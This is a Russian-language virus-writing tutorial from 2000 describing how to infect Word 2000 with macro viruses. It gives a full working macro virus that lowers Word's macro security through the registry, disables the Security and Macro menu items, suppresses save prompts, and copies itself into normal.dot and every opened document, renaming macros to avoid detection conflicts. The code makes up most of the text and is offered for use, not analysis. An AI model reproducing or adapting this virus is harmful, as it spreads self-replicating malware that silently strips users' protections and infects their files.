![]() |
![]() |
![]() |
В этой статье я расскажу чем отличается Word 97 от Word2000, опишу работу нового ворда и алгоритм его зараженния. В новой версий word почти не притерпела никаких изменений... Итак в ворде2000 добивили новую защиту, которую можно обоити внеся поправки в реестр: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Так же в новом ворде недолжны совпадать имена макросов, тоесть нельзя чтобы в зараженных normal.dot и документе были макросы с одинаковыми именами. Например: Document_Open... В вирусе придется менять имена макросов например если в normal.dot макрос Document_Open то в документе можно поставить Document_Close, а для других макросов можно просто менять имена добавляя цифру или букву. Пример вируса: ~~~~~~~~~~~~~~ Sub Document_Open() 'заражаем при открытий On Error Resume Next 'w0rd2K.Quarde 'метка вируса If Application.Version = "9.0" Then 'если текущая версия w0rd 9.0 (2000) то If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then 'проверяем отключили мы w0rd 2000 защиту CommandBars("Macro").Controls("Security...").Enabled = False 'отключаем один пункт в меню ворд System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& 'отключаем защиту если мы ее еще не отключили Else 'если защита была отключина то CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1) Options.SaveNormalPrompt = (1 - 1) 'удаляем и отключаем пункты ворда для нормальной работы вируса. End If TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'w0rd2K.Quarde" Then ' проверка на зараженность normal.dot Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule NT.DeleteLines 1, NT.CountOfLines NT.AddFromString TD ' если normal.dot не зараженн, hmmm надо инфицировать его NT.ReplaceLine 1, "Sub Document_Close()" ' меняем название макроса чтобы они не повторялись в документах и normal.dot End If If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'w0rd2K.Quarde" Then ' проверка на зараженность активного документа Set VA = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule VA.DeleteLines 1, VA.CountOfLines VA.AddFromString TD ' если активный документ не зараженн, hmmm надо инфицировать его VA.ReplaceLine 1, "Sub Document_Open()" ' меняем название макроса чтобы они не повторялись в документах и normal.dot End If ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'сохраняем все дело End If End Sub Вот и все.. Теперь вопросы по ворду почти все исчерпаны, я ответил на все вопросы которые мне задовали по мылу. Если есть еще вопросы присылайте... [email protected] ULTRAS (c) 2000 |
||
![]() |
![]() |
![]() |